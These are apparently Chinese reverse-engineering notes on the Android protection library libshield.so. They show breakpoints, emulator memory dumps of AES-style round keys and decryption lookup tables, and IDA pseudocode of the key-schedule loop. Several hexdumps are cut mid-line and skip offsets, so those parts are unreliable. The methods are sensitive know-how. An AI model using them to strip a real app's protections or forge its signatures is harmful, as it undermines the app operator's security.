0160: 6A 6A D4 BE CB CB 8D 46 BE BE 67 D9 39 39 72 4B jj.....F..g.99rK
0170: 4A 4A 94 DE 4C 4C 98 D4 58 58 B0 E8 CF CF 85 4A JJ..LL..XX.....J
0180: D0 D0 BB 6B EF EF C5 2A AA AA 4F E5 FB FB ED 16 ...k...*..O.....
0190: 43 43 86 C5 4D 4D 9A D7 33 33 66 55 85 85 11 94 CC..MM..33fU....
01A0: 45 45 8A CF F9 F9 E9 10 02 02 04 06 7F 7F FE 81 EE..............
01B0: 50 50 A0 F0 3C 3C 78 44 9F 9F 25 BA A8 A8 4B E3 PP..<<xD..%...K.
01C0: 51 51 A2 F3 A3 A3 5D FE 40 40 80 C0 8F 8F 05 8A QQ....].@@......
01D0: 92 92 3F AD 9D 9D 21 BC 38 38 70 48 F5 F5 F1 04 ..?...!.88pH....
01E0: BC BC 63 DF B6 B6 77 C1 DA DA AF 75 21 21 42 63 ..c...w....u!!Bc
01F0: 10 10 20 30 FF FF E5 1A F3 F3 FD 0E D2 D2 BF 6D .. 0...........m
0200: CD CD 81 4C 0C 0C 18 14 13 13 26 35 EC EC C3 2F ...L......&5.../
0210: 5F 5F BE E1 97 97 35 A2 44 44 88 CC 17 17 2E 39 __....5.DD.....9
0220: C4 C4 93 57 A7 A7 55 F2 7E 7E FC 82 3D 3D 7A 47 ...W..U.~~..==zG
0230: 64 64 C8 AC 5D 5D BA E7 19 19 32 2B 73 73 E6 95 dd..]]....2+ss..
0240: 60 60 C0 A0 81 81 19 98 4F 4F 9E D1 DC DC A3 7F ``......OO......
0250: 22 22 44 66 2A 2A 54 7E 90 90 3B AB 88 88 0B 83 \\"\\"Df**T~..;.....
0260: 46 46 8C CA EE EE C7 29 B8 B8 6B D3 14 14 28 3C FF.....)..k...(<
0270: DE DE A7 79 5E 5E BC E2 0B 0B 16 1D DB DB AD 76 ...y^^.........v
0280: E0 E0 DB 3B 32 32 64 56 3A 3A 74 4E 0A 0A 14 1E ...;22dV::tN....
0290: 49 49 92 DB 06 06 0C 0A 24 24 48 6C 5C 5C B8 E4 II......$$Hl\\\\..
02A0: C2 C2 9F 5D D3 D3 BD 6E AC AC 43 EF 62 62 C4 A6 ...]...n..C.bb..
02B0: 91 91 39 A8 95 95 31 A4 E4 E4 D3 37 79 79 F2 8B ..9...1....7yy..
02C0: E7 E7 D5 32 C8 C8 8B 43 37 37 6E 59 6D 6D DA B7 ...2...C77nYmm..
02D0: 8D 8D 01 8C D5 D5 B1 64 4E 4E 9C D2 A9 A9 49 E0 .......dNN....I.
02E0: 6C 6C D8 B4 56 56 AC FA F4 F4 F3 07 EA EA CF 25 ll..VV.........%
02F0: 65 65 CA AF 7A 7A F4 8E AE AE 47 E9 08 08 10 18 ee..zz....G.....
0300: BA BA 6F D5 78 78 F0 88 25 25 4A 6F 2E 2E 5C 72 ..o.xx..%%Jo..\\\\r
0310: 1C 1C 38 24 A6 A6 57 F1 B4 B4 73 C7 C6 C6 97 51 ..8$..W...s....Q
0320: E8 E8 CB 23 DD DD A1 7C 74 74 E8 9C 1F 1F 3E 21 ...#...|tt....>!
0330: 4B 4B 96 DD BD BD 61 DC 8B 8B 0D 86 8A 8A 0F 85 KK....a.........
0340: 70 70 E0 90 3E 3E 7C 42 B5 B5 71 C4 66 66 CC AA pp..>>|B..q.ff..
0350: 48 48 90 D8 03 03 06 05 F6 F6 F7 01 0E 0E 1C 12 HH..............
0360: 61 61 C2 A3 35 35 6A 5F 57 57 AE F9 B9 B9 69 D0 aa..55j_WW....i.
0370: 86 86 17 91 C1 C1 99 58 1D 1D 3A 27 9E 9E 27 B9 .......X..:\'..\'.
0380: E1 E1 D9 38 F8 F8 EB 13 98 98 2B B3 11 11 22 33 ...8......+...\\"3
0390: 69 69 D2 BB D9 D9 A9 70 8E 8E 07 89 94 94 33 A7 ii.....p......3.
03A0: 9B 9B 2D B6 1E 1E 3C 22 87 87 15 92 E9 E9 C9 20 ..-...<\\".......
03B0: CE CE 87 49 55 55 AA FF 28 28 50 78 DF DF A5 7A ...IUU..((Px...z
03C0: 8C 8C 03 8F A1 A1 59 F8 89 89 09 80 0D 0D 1A 17 ......Y.........
03D0: BF BF 65 DA E6 E6 D7 31 42 42 84 C6 68 68 D0 B8 ..e....1BB..hh..
03E0: 41 41 82 C3 99 99 29 B0 2D 2D 5A 77 0F 0F 1E 11 AA....).--Zw....
03F0: B0 B0 7B CB 54 54 A8 FC BB BB 6D D6 16 16 2C 3A ..{.TT....m...,:
^-----------------------------------------------------------------------------^
继续打断点0x51A04 拿到unk_C25C0
mx15 48
\\n\\n-----------------------------------------------------------------------------<
\\n
[14:26:47 888]x15=RX@0x400c25c0[libshield.so]0xc25c0, md5=b2e66da9bb4ce55fae9fbec6d188f51f, hex=00003112000100020000020400020208002010100004023000200040002000800020001b0002203650a7f4515365417e
size: 48
0000: 00 00 31 12 00 01 00 02 00 00 02 04 00 02 02 08 ..1.............
0010: 00 20 10 10 00 04 02 30 00 20 00 40 00 20 00 80 . .....0. .@. ..
0020: 00 20 00 1B 00 02 20 36
^-----------------------------------------------------------------------------^
模拟算法后输出的内容与sub1884处得到的扩展秘钥一致
Round 0: [3266320387, 3429179968, 3694555232, 2483977128]
Round 1: [2074139169, 3083204705, 1811122177, 4294833065]
Round 2: [766314551, 2590568534, 4053497943, 241601534]
Round 3: [445821852, 2163885002, 1902197661, 2131210339]
Round 4: [3614919246, 1468860804, 653013529, 1508606586]
Round 5: [779399301, 2046408961, 1595247384, 117311842]
Round 6: [2776047338, 3700336619, 2207984883, 2237998481]
Round 7: [2823339901, 1959139478, 4150080613, 1916277236]
Round 8: [801775677, 1527527595, 2890992846, 3731430714]
Round 9: [3446571040, 2523052171, 976467013, 3831146879]
Round 10: [1167937609, 3556763842, 3922484359, 227997176]
将这里的秘钥在sub_51CB8中进行反转和处理
反转以后进行如下核心轮密钥混淆处理
do
{
++v18;
v19 = *((_DWORD *)&loc_C29E8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)BYTE2((v17 - 2)))) ^ *((_DWORD *)&unk_C25E8 + *((unsigned __int8 )qword_C21C0 + 4 * HIBYTE((v17 - 2)))) ^ *((_DWORD *)&unk_C2DE8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)BYTE1((v17 - 2)))) ^ *((_DWORD *)&unk_C31E8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)(v17 - 2)));
v20 = *((_DWORD *)&loc_C29E8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)BYTE2((v17 - 1)))) ^ *((_DWORD *)&unk_C25E8 + *((unsigned __int8 )qword_C21C0 + 4 * HIBYTE((v17 - 1)))) ^ *((_DWORD *)&unk_C2DE8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)BYTE1((v17 - 1)))) ^ *((_DWORD *)&unk_C31E8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)(v17 - 1)));
v21 = *((_DWORD *)&loc_C29E8 + *((unsigned __int8 *)qword_C21C0 + 4 * (unsigned __int8)BYTE2(*v17))) ^ *((_DWORD *)&unk_C25E8 + *((unsigned __int8 *)qword_C21C0 + 4 * HIBYTE(*v17))) ^ *((_DWORD *)&unk_C2DE8 + *((unsigned __int8 *)qword_C21C0 + 4 * (unsigned __int8)BYTE1(*v17))) ^ *((_DWORD *)&unk_C31E8 + *((unsigned __int8 *)qword_C21C0 + 4 * (unsigned __int8)*v17));
*(v17 - 3) = *((_DWORD *)&loc_C29E8
+ *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)BYTE2((v17 - 3)))) ^ *((_DWORD *)&unk_C25E8 + *((unsigned __int8 )qword_C21C0 + 4 * HIBYTE((v17 - 3)))) ^ *((_DWORD *)&unk_C2DE8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)BYTE1((v17 - 3)))) ^ *((_DWORD *)&unk_C31E8 + *((unsigned __int8 )qword_C21C0 + 4 * (unsigned __int8)(v17 - 3)));
*(v17 - 2) = v19;
*(v17 - 1) = v20;
*v17 = v21;
v17 += 4;
}
while ( v18 < a3[60] );
首先看loc_C29E8指向的汇编,0x51E08,这里代表0x400c29e8的内存值
mx12
\\n\\n-----------------------------------------------------------------------------<
\\n
[12:29:06 920]x12=RX@0x400c29e8[libshield.so]0xc29e8, md5=1cf127c786592c0b17e76cd3a5faece9, hex=a7f4515065417e53a4171ac35e273a966bab3bcb459d1ff158faacab03e34b93fa3020556d76adf676cc88914c02f525d7e54ffccb2ac5d744352680a362b58f5ab1de491bba25670eea4598c0fe5de1752fc302f04c811297468da3f9d36bc65f8f03e79c9215957a6dbfeb595295da
size: 112
0000: A7 F4 51 50 65 41 7E 53 A4 17 1A C3 5E 27 3A 96 ..QPeA~S....^\':.
0010: 6B AB 3B CB 45 9D 1F F1 58 FA AC AB 03 E3 4B 93 k.;.E...X.....K.
0020: FA 30 20 55 6D 76 AD F6 76 CC 88 91 4C 02 F5 25 .0 Umv..v...L..%
0030: D7 E5 4F FC CB 2A C5 D7 44 35 26 80 A3 62 B5 8F ..O..*..D5&..b..
0040: 5A B1 DE 49 1B BA 25 67 0E EA 45 98 C0 FE 5D E1 Z..I..%g..E...].
0050: 75 2F C3 02 F0 4C 81 12 97 46 8D A3 F9 D3 6B C6 u/...L...F....k.
0060: 5F 8F 03 E7 9C 92 15 95 7A 6D BF EB 59 52 95 DA _.......zm..YR..
^-----------------------------------------------------------------------------^
*((_DWORD *)&loc_C29E8即提取这个地址中的值,跟数组一样的原理 这里取1024试试
mx12 1024
\\n\\n-----------------------------------------------------------------------------<
\\n
[15:25:51 666]x12=RX@0x400c29e8[libshield.so]0xc29e8, hex=a7f4515065417e53a4171ac35e273a966bab3bcb459d1ff158faacab03e34b93fa3020556d76adf676cc88914c02f525d7e54ffccb2ac5d744352680a362b58f5ab1de491bba25670eea4598c0fe5de1752fc302f04c811297468da3f9d36bc65f8f03e79c9215957a6dbfeb595295da83bed42d217458d369e04929c8c98e4489c2756a798ef4783e58996b71b927dd4fe1beb6ad88f017ac20c9663ace7db44adf6318311ae582335197607f5362457764b1e0ae6bbb84a081fe1c2b08f99468487058fd458f196cde9487f87b52b7d373ab23024b72e28f1fe357ab55662a28ebb207c2b52f037bc5869a0837d3a5872830f2a5bf23b26a0302ba8216ed5c1ccf8a2bb479a792f207f3f0e2694ea1f4da65cdbe0506d56234d11ffea6c48a532e349d55f3a2a0e18a0532ebf6a475ec830b39ef6040aa9f715e06106ebd518a213ef906dd963d053eddaebde64d468d5491b55dc47105d406046f155060fffb981924e9bdd697434089cc9ed9677742e8b0bd8b8907885b19e738eec879db0a7ca1470f427ce91e84f8c90000000086800983ed2b324870111eac725a6c4eff0efdfb38850f56d5ae3d1e392d3627d90f0a64a65c6821545b9bd12e36243a670a0cb1e757930f96eeb4d2919b1b9ec5c0804f20dc61a24b775a691a121c16ba93e20a2aa0c0e5e0223c43171b121d0d090e0bc78bf2ada8b62db9a91e14c819f157850775af4cdd99eebb607fa3fd2601f79ff5725cbc3b6644c57efb5b3429438b76c623cbdcfcedb668f1e4b863dc31d7ca856342102297134011c68420244a857d3dbbd2f832f9ae11a129c76d2f9e1d4b30b2dcf352860dece3c177d016b32b6cb970a999489411fa64e947228cfca8c43ff0a01a2c7d56d8903322ef4e4987c7d138d9c1a2ca8cfe0bd4983681f5a6cfde7aa5288eb7da26bfad3fa49d3a2ce49278500dcc5f6a9b467e5462138df6c2b8d890e8f7392e5eafc382f5805d9fbe93d0697c2dd56fa91225cfb399acc83b7d1810a7639ce86ebb3bdb7b7826cd0918596ef4b79aec019a4f83a86e95e665e6ffaa7ecfbc2108e815efe69be7bad9366f4ace099fead47cb029d6b2a431af233f2a3194a5c63066a235c0bc4e7437ca82fca6d090e0b0d8a733159804f14adaec41f750cd7f0ef691172fd64d768db0ef434d4daacc540496e4dfb5d19ee3886a4c1b1f2cc1b85165467fea5e9d04358c015d7487fa73410bfb2e1d67b35ad2db92525610e93347d66d1361d79a8c0ca1377a14f8598e3c13eb8927a9ceeec961b735e51ce1edb1477a3cdfd29c5973f2553fce14187937c773bfcdf753eaaafd5f5b6f3ddf14db447886f3afca81c468b93e3424382c40a3c25fc31d167225e2bc0c493c288b950dff4101a83971b30c08dee4b4d89cc156649084cb7b61b632d5705c6c487457b8d042, md5=531dcbd9f4070383b0a93951fe503db9
size: 1024
0000: A7 F4 51 50 65 41 7E 53 A4 17 1A C3 5E 27 3A 96 ..QPeA.[4
0220: 29 43 8B 76 C6 23 CB DC FC ED B6 68 F1 E4 B8 63 )C.v.#.....h...c
0230: DC 31 D7 CA 85 63 42 10 22 97 13 40 11 C6 84 20 .1...cB.\\"..@...
0240: 24 4A 85 7D 3D BB D2 F8 32 F9 AE 11 A1 29 C7 6D $J.}=...2....).m
0250: 2F 9E 1D 4B 30 B2 DC F3 52 86 0D EC E3 C1 77 D0 /..K0...R.....w.
0260: 16 B3 2B 6C B9 70 A9 99 48 94 11 FA 64 E9 47 22 ..+l.p..H...d.G\\"
0270: 8C FC A8 C4 3F F0 A0 1A 2C 7D 56 D8 90 33 22 EF ....?...,}V..3\\".
0280: 4E 49 87 C7 D1 38 D9 C1 A2 CA 8C FE 0B D4 98 36 NI...8.........6
0290: 81 F5 A6 CF DE 7A A5 28 8E B7 DA 26 BF AD 3F A4 .....z.(...&..?.
02A0: 9D 3A 2C E4 92 78 50 0D CC 5F 6A 9B 46 7E 54 62 .:,..xP..j.F..!.....
0300: 9B E7 BA D9 36 6F 4A CE 09 9F EA D4 7C B0 29 D6 ....6oJ.....|.).
0310: B2 A4 31 AF 23 3F 2A 31 94 A5 C6 30 66 A2 35 C0 ..1.#?*1...0f.5.
0320: BC 4E 74 37 CA 82 FC A6 D0 90 E0 B0 D8 A7 33 15 .Nt7..........3.
0330: 98 04 F1 4A DA EC 41 F7 50 CD 7F 0E F6 91 17 2F ...J..A.P....../
0340: D6 4D 76 8D B0 EF 43 4D 4D AA CC 54 04 96 E4 DF .Mv...CMM..T....
0350: B5 D1 9E E3 88 6A 4C 1B 1F 2C C1 B8 51 65 46 7F .....jL..,..QeF.
0360: EA 5E 9D 04 35 8C 01 5D 74 87 FA 73 41 0B FB 2E .^..5..]t..sA...
0370: 1D 67 B3 5A D2 DB 92 52 56 10 E9 33 47 D6 6D 13 .g.Z...RV..3G.m.
0380: 61 D7 9A 8C 0C A1 37 7A 14 F8 59 8E 3C 13 EB 89 a.....7z..Y.<...
0390: 27 A9 CE EE C9 61 B7 35 E5 1C E1 ED B1 47 7A 3C \'....a.5.....Gz<
03A0: DF D2 9C 59 73 F2 55 3F CE 14 18 79 37 C7 73 BF ...Ys.U?...y7.s.
03B0: CD F7 53 EA AA FD 5F 5B 6F 3D DF 14 DB 44 78 86 ..S..._[o=...Dx.
03C0: F3 AF CA 81 C4 68 B9 3E 34 24 38 2C 40 A3 C2 5F .....h.>4$8,@..
03D0: C3 1D 16 72 25 E2 BC 0C 49 3C 28 8B 95 0D FF 41 ...r%...I<(....A
03E0: 01 A8 39 71 B3 0C 08 DE E4 B4 D8 9C C1 56 64 90 ..9q.........Vd.
03F0: 84 CB 7B 61 B6 32 D5 70 5C 6C 48 74 57 B8 D0 42 ..{a.2.p\\\\lHtW..B
^-----------------------------------------------------------------------------^
获取unk_C25E8的内存值,打断点unk_C25E8,mx11取值 一般默认长度1024,去IDA检查一下
LDR W3, [X11,X3,LSL#2]
mx11 1024
\\n\\n-----------------------------------------------------------------------------<
\\n
[12:44:06 711]x11=RX@0x400c25e8[libshield.so]0xc25e8, hex=50a7f4515365417ec3a4171a965e273acb6bab3bf1459d1fab58faac9303e34b55fa3020f66d76ad9176cc88254c02f5fcd7e54fd7cb2ac5804435268fa362b5495ab1de671bba25980eea45e1c0fe5d02752fc312f04c81a397468dc6f9d36be75f8f03959c9215eb7a6dbfda5952952d83bed4d32174582969e04944c8c98e6a89c27578798ef46b3e5899dd71b927b64fe1be17ad88f066ac20c9b43ace7d184adf6382311ae560335197457f5362e07764b184ae6bbb1ca081fe942b08f95868487019fd458f876cde94b7f87b5223d373abe2024b72578f1fe32aab55660728ebb203c2b52f9a7bc586a50837d3f2872830b2a5bf23ba6a03025c8216ed2b1ccf8a92b479a7f0f207f3a1e2694ecdf4da65d5be05061f6234d18afea6c49d532e34a055f3a232e18a0575ebf6a439ec830baaef6040069f715e51106ebdf98a213e3d06dd96ae053edd46bde64db58d5491055dc4716fd40604ff15506024fb981997e9bdd6cc434089779ed967bd42e8b0888b8907385b19e7dbeec879470a7ca1e90f427cc91e84f8000000008386800948ed2b32ac70111e4e725a6cfbff0efd5638850f1ed5ae3d27392d3664d90f0a21a65c68d1545b9b3a2e3624b1670a0c0fe75793d296eeb49e919b1b4fc5c080a220dc61694b775a161a121c0aba93e2e52aa0c043e0223c1d171b120b0d090eadc78bf2b9a8b62dc8a91e148519f1574c0775afbbdd99eefd607fa39f2601f7bcf5725cc53b6644347efb5b7629438bdcc623cb68fcedb663f1e4b8cadc31d710856342402297132011c6847d244a85f83dbbd21132f9ae6da129c74b2f9e1df330b2dcec52860dd0e3c1776c16b32b99b970a9fa4894112264e947c48cfca81a3ff0a0d82c7d56ef903322c74e4987c1d138d9fea2ca8c360bd498cf81f5a628de7aa5268eb7daa4bfad3fe49d3a2c0d9278509bcc5f6a62467e54c2138df6e8b8d8905ef7392ef5afc382be805d9f7c93d069a92dd56fb31225cf3b99acc8a77d18106e639ce87bbb3bdb097826cdf418596e01b79aeca89a4f83656e95e67ee6ffaa08cfbc21e6e815efd99be7bace366f4ad4099fead67cb029afb2a43131233f2a3094a5c6c066a23537bc4e74a6ca82fcb0d090e015d8a7334a9804f1f7daec410e50cd7f2ff691178dd64d764db0ef43544daaccdf0496e4e3b5d19e1b886a4cb81f2cc17f51654604ea5e9d5d358c01737487fa2e410bfb5a1d67b352d2db92335610e91347d66d8c61d79a7a0ca1378e14f859893c13ebee27a9ce35c961b7ede51ce13cb1477a59dfd29c3f73f25579ce1418bf37c773eacdf7535baafd5f146f3ddf86db447881f3afca3ec468b92c3424385f40a3c272c31d160c25e2bc8b493c2841950dff7101a839deb30c089ce4b4d890c156646184cb7b70b632d5745c6c484257b8d0, md5=3189c96a7096794ff301218dbe9b4b28
size: 1024
0000: 50 A7 F4 51 53 65 41 7E C3 A4 17 1A 96 5E 27 3A P..QSeA.[
0220: 76 29 43 8B DC C6 23 CB 68 FC ED B6 63 F1 E4 B8 v)C...#.h...c...
0230: CA DC 31 D7 10 85 63 42 40 22 97 13 20 11 C6 84 ..1...cB@\\".. ...
0240: 7D 24 4A 85 F8 3D BB D2 11 32 F9 AE 6D A1 29 C7 }$J..=...2..m.).
0250: 4B 2F 9E 1D F3 30 B2 DC EC 52 86 0D D0 E3 C1 77 K/...0...R.....w
0260: 6C 16 B3 2B 99 B9 70 A9 FA 48 94 11 22 64 E9 47 l..+..p..H..\\"d.G
0270: C4 8C FC A8 1A 3F F0 A0 D8 2C 7D 56 EF 90 33 22 .....?...,}V..3\\"
0280: C7 4E 49 87 C1 D1 38 D9 FE A2 CA 8C 36 0B D4 98 .NI...8.....6...
0290: CF 81 F5 A6 28 DE 7A A5 26 8E B7 DA A4 BF AD 3F ....(.z.&......?
02A0: E4 9D 3A 2C 0D 92 78 50 9B CC 5F 6A 62 46 7E 54 ..:,..xP..jbF......!....
0300: D9 9B E7 BA CE 36 6F 4A D4 09 9F EA D6 7C B0 29 .....6oJ.....|.)
0310: AF B2 A4 31 31 23 3F 2A 30 94 A5 C6 C0 66 A2 35 ...11#?*0....f.5
0320: 37 BC 4E 74 A6 CA 82 FC B0 D0 90 E0 15 D8 A7 33 7.Nt...........3
0330: 4A 98 04 F1 F7 DA EC 41 0E 50 CD 7F 2F F6 91 17 J......A.P../...
0340: 8D D6 4D 76 4D B0 EF 43 54 4D AA CC DF 04 96 E4 ..MvM..CTM......
0350: E3 B5 D1 9E 1B 88 6A 4C B8 1F 2C C1 7F 51 65 46 ......jL..,..QeF
0360: 04 EA 5E 9D 5D 35 8C 01 73 74 87 FA 2E 41 0B FB ..^.]5..st...A..
0370: 5A 1D 67 B3 52 D2 DB 92 33 56 10 E9 13 47 D6 6D Z.g.R...3V...G.m
0380: 8C 61 D7 9A 7A 0C A1 37 8E 14 F8 59 89 3C 13 EB .a..z..7...Y.<..
0390: EE 27 A9 CE 35 C9 61 B7 ED E5 1C E1 3C B1 47 7A .\'..5.a.....<.Gz
03A0: 59 DF D2 9C 3F 73 F2 55 79 CE 14 18 BF 37 C7 73 Y...?s.Uy....7.s
03B0: EA CD F7 53 5B AA FD 5F 14 6F 3D DF 86 DB 44 78 ...S[.._.o=...Dx
03C0: 81 F3 AF CA 3E C4 68 B9 2C 34 24 38 5F 40 A3 C2 ....>.h.,4$8@..
03D0: 72 C3 1D 16 0C 25 E2 BC 8B 49 3C 28 41 95 0D FF r....%...I<(A...
03E0: 71 01 A8 39 DE B3 0C 08 9C E4 B4 D8 90 C1 56 64 q..9..........Vd
03F0: 61 84 CB 7B 70 B6 32 D5 74 5C 6C 48 42 57 B8 D0 a..{p.2.t\\\\lHBW..
^-----------------------------------------------------------------------------^
unk_C2DE8同理
mx13 1024
\\n\\n-----------------------------------------------------------------------------<
\\n
[12:50:58 826]x13=RX@0x400c2de8[libshield.so]0xc2de8, hex=f45150a7417e5365171ac3a4273a965eab3bcb6b9d1ff145faacab58e34b9303302055fa76adf66dcc88917602f5254ce54ffcd72ac5d7cb3526804462b58fa3b1de495aba25671bea45980efe5de1c02fc302754c8112f0468da397d36bc6f98f03e75f9215959c6dbfeb7a5295da59bed42d837458d321e0492969c98e44c8c2756a898ef4787958996b3eb927dd71e1beb64f88f017ad20c966acce7db43adf63184a1ae58231519760335362457f64b1e0776bbb84ae81fe1ca008f9942b48705868458f19fdde94876c7b52b7f873ab23d34b72e2021fe3578f55662aabebb20728b52f03c2c5869a7b37d3a5082830f287bf23b2a50302ba6a16ed5c82cf8a2b1c79a792b407f3f0f2694ea1e2da65cdf40506d5be34d11f62a6c48afe2e349d53f3a2a0558a0532e1f6a475eb830b39ec6040aaef715e069f6ebd5110213ef98add963d063eddae05e64d46bd5491b58dc471055d06046fd45060ff15981924fbbdd697e94089cc43d967779ee8b0bd428907888b19e7385bc879dbee7ca1470a427ce90f84f8c91e00000000800983862b3248ed111eac705a6c4e720efdfbff850f5638ae3d1ed52d3627390f0a64d95c6821a65b9bd15436243a2e0a0cb16757930fe7eeb4d2969b1b9e91c0804fc5dc61a220775a694b121c161a93e20abaa0c0e52a223c43e01b121d17090e0b0d8bf2adc7b62db9a81e14c8a9f157851975af4c0799eebbdd7fa3fd6001f79f26725cbcf56644c53bfb5b347e438b762923cbdcc6edb668fce4b863f131d7cadc6342108597134022c68420114a857d24bbd2f83df9ae113229c76da19e1d4b2fb2dcf330860dec52c177d0e3b32b6c1670a999b99411fa48e9472264fca8c48cf0a01a3f7d56d82c3322ef904987c74e38d9c1d1ca8cfea2d498360bf5a6cf817aa528deb7da268ead3fa4bf3a2ce49d78500d925f6a9bcc7e5462468df6c213d890e8b8392e5ef7c382f5af5d9fbe80d0697c93d56fa92d25cfb312acc83b991810a77d9ce86e633bdb7bbb26cd0978596ef4189aec01b74f83a89a95e6656effaa7ee6bc2108cf15efe6e8e7bad99b6f4ace369fead409b029d67ca431afb23f2a3123a5c63094a235c0664e7437bc82fca6ca90e0b0d0a73315d804f14a98ec41f7dacd7f0e5091172ff64d768dd6ef434db0aacc544d96e4df04d19ee3b56a4c1b882cc1b81f65467f515e9d04ea8c015d3587fa73740bfb2e4167b35a1ddb9252d210e93356d66d1347d79a8c61a1377a0cf8598e1413eb893ca9ceee2761b735c91ce1ede5477a3cb1d29c59dff2553f73141879cec773bf37f753eacdfd5f5baa3ddf146f447886dbafca81f368b93ec424382c34a3c25f401d1672c3e2bc0c253c288b490dff4195a83971010c08deb3b4d89ce4566490c1cb7b618432d570b66c48745cb8d04257, md5=500195d8b2539fe1ea00792dd74a57c5
size: 1024
0000: F4 51 50 A7 41 7E 53 65 17 1A C3 A4 27 3A 96 5E .QP.A
0220: 43 8B 76 29 23 CB DC C6 ED B6 68 FC E4 B8 63 F1 C.v)#.....h...c.
0230: 31 D7 CA DC 63 42 10 85 97 13 40 22 C6 84 20 11 1...cB....@\\".. .
0240: 4A 85 7D 24 BB D2 F8 3D F9 AE 11 32 29 C7 6D A1 J.}$...=...2).m.
0250: 9E 1D 4B 2F B2 DC F3 30 86 0D EC 52 C1 77 D0 E3 ..K/...0...R.w..
0260: B3 2B 6C 16 70 A9 99 B9 94 11 FA 48 E9 47 22 64 .+l.p......H.G\\"d
0270: FC A8 C4 8C F0 A0 1A 3F 7D 56 D8 2C 33 22 EF 90 .......?}V.,3\\"..
0280: 49 87 C7 4E 38 D9 C1 D1 CA 8C FE A2 D4 98 36 0B I..N8.........6.
0290: F5 A6 CF 81 7A A5 28 DE B7 DA 26 8E AD 3F A4 BF ....z.(...&..?..
02A0: 3A 2C E4 9D 78 50 0D 92 5F 6A 9B CC 7E 54 62 46 :,..xP..j....!......
0300: E7 BA D9 9B 6F 4A CE 36 9F EA D4 09 B0 29 D6 7C ....oJ.6.....).|
0310: A4 31 AF B2 3F 2A 31 23 A5 C6 30 94 A2 35 C0 66 .1..?*1#..0..5.f
0320: 4E 74 37 BC 82 FC A6 CA 90 E0 B0 D0 A7 33 15 D8 Nt7..........3..
0330: 04 F1 4A 98 EC 41 F7 DA CD 7F 0E 50 91 17 2F F6 ..J..A.....P../.
0340: 4D 76 8D D6 EF 43 4D B0 AA CC 54 4D 96 E4 DF 04 Mv...CM...TM....
0350: D1 9E E3 B5 6A 4C 1B 88 2C C1 B8 1F 65 46 7F 51 ....jL..,...eF.Q
0360: 5E 9D 04 EA 8C 01 5D 35 87 FA 73 74 0B FB 2E 41 ^.....]5..st...A
0370: 67 B3 5A 1D DB 92 52 D2 10 E9 33 56 D6 6D 13 47 g.Z...R...3V.m.G
0380: D7 9A 8C 61 A1 37 7A 0C F8 59 8E 14 13 EB 89 3C ...a.7z..Y.....<
0390: A9 CE EE 27 61 B7 35 C9 1C E1 ED E5 47 7A 3C B1 ...\'a.5.....Gz<.
03A0: D2 9C 59 DF F2 55 3F 73 14 18 79 CE C7 73 BF 37 ..Y..U?s..y..s.7
03B0: F7 53 EA CD FD 5F 5B AA 3D DF 14 6F 44 78 86 DB .S..._[.=..oDx..
03C0: AF CA 81 F3 68 B9 3E C4 24 38 2C 34 A3 C2 5F 40 ....h.>.$8,4..@
03D0: 1D 16 72 C3 E2 BC 0C 25 3C 28 8B 49 0D FF 41 95 ..r....%<(.I..A.
03E0: A8 39 71 01 0C 08 DE B3 B4 D8 9C E4 56 64 90 C1 .9q.........Vd..
03F0: CB 7B 61 84 32 D5 70 B6 6C 48 74 5C B8 D0 42 57 .{a.2.p.lHt..BW
^-----------------------------------------------------------------------------^
unk_C31E8同理 打断点0x51E9C
mx14 1024
\\n\\n-----------------------------------------------------------------------------<
\\n
[14:03:05 699]x14=RX@0x400c31e8[libshield.so]0xc31e8, hex=5150a7f47e5365411ac3a4173a965e273bcb6bab1ff1459dacab58fa4b9303e32055fa30adf66d76889176ccf5254c024ffcd7e5c5d7cb2a26804435b58fa362de495ab125671bba45980eea5de1c0fec302752f8112f04c8da397466bc6f9d303e75f8f15959c92bfeb7a6d95da5952d42d83be58d32174492969e08e44c8c9756a89c2f478798e996b3e5827dd71b9beb64fe1f017ad88c966ac207db43ace63184adfe582311a9760335162457f53b1e07764bb84ae6bfe1ca081f9942b08705868488f19fd4594876cde52b7f87bab23d37372e2024be3578f1f662aab55b20728eb2f03c2b5869a7bc5d3a5083730f2872823b2a5bf02ba6a03ed5c82168a2b1ccfa792b479f3f0f2074ea1e26965cdf4da06d5be05d11f6234c48afea6349d532ea2a055f30532e18aa475ebf60b39ec8340aaef605e069f71bd51106e3ef98a21963d06ddddae053e4d46bde691b58d5471055dc4046fd40660ff15501924fb98d697e9bd89cc434067779ed9b0bd42e807888b89e7385b1979dbeec8a1470a7c7ce90f42f8c91e8400000000098386803248ed2b1eac70116c4e725afdfbff0e0f5638853d1ed5ae3627392d0a64d90f6821a65c9bd1545b243a2e360cb1670a930fe757b4d296ee1b9e919b804fc5c061a220dc5a694b771c161a12e20aba93c0e52aa03c43e022121d171b0e0b0d09f2adc78b2db9a8b614c8a91e578519f1af4c0775eebbdd99a3fd607ff79f26015cbcf57244c53b665b347efb8b762943cbdcc623b668fcedb863f1e4d7cadc314210856313402297842011c6857d244ad2f83dbbae1132f9c76da1291d4b2f9edcf330b20dec528677d0e3c12b6c16b3a999b97011fa4894472264e9a8c48cfca01a3ff056d82c7d22ef903387c74e49d9c1d1388cfea2ca98360bd4a6cf81f5a528de7ada268eb73fa4bfad2ce49d3a500d92786a9bcc5f5462467ef6c2138d90e8b8d82e5ef73982f5afc39fbe805d697c93d06fa92dd5cfb31225c83b99ac10a77d18e86e639cdb7bbb3bcd0978266ef41859ec01b79a83a89a4fe6656e95aa7ee6ff2108cfbcefe6e815bad99be74ace366fead4099f29d67cb031afb2a42a31233fc63094a535c066a27437bc4efca6ca82e0b0d0903315d8a7f14a980441f7daec7f0e50cd172ff691768dd64d434db0efcc544daae4df04969ee3b5d14c1b886ac1b81f2c467f51659d04ea5e015d358cfa737487fb2e410bb35a1d679252d2dbe93356106d1347d69a8c61d7377a0ca1598e14f8eb893c13ceee27a9b735c961e1ede51c7a3cb1479c59dfd2553f73f21879ce1473bf37c753eacdf75f5baafddf146f3d7886db44ca81f3afb93ec468382c3424c25f40a31672c31dbc0c25e2288b493cff41950d397101a808deb30cd89ce4b46490c1567b6184cbd570b63248745c6cd04257b8, 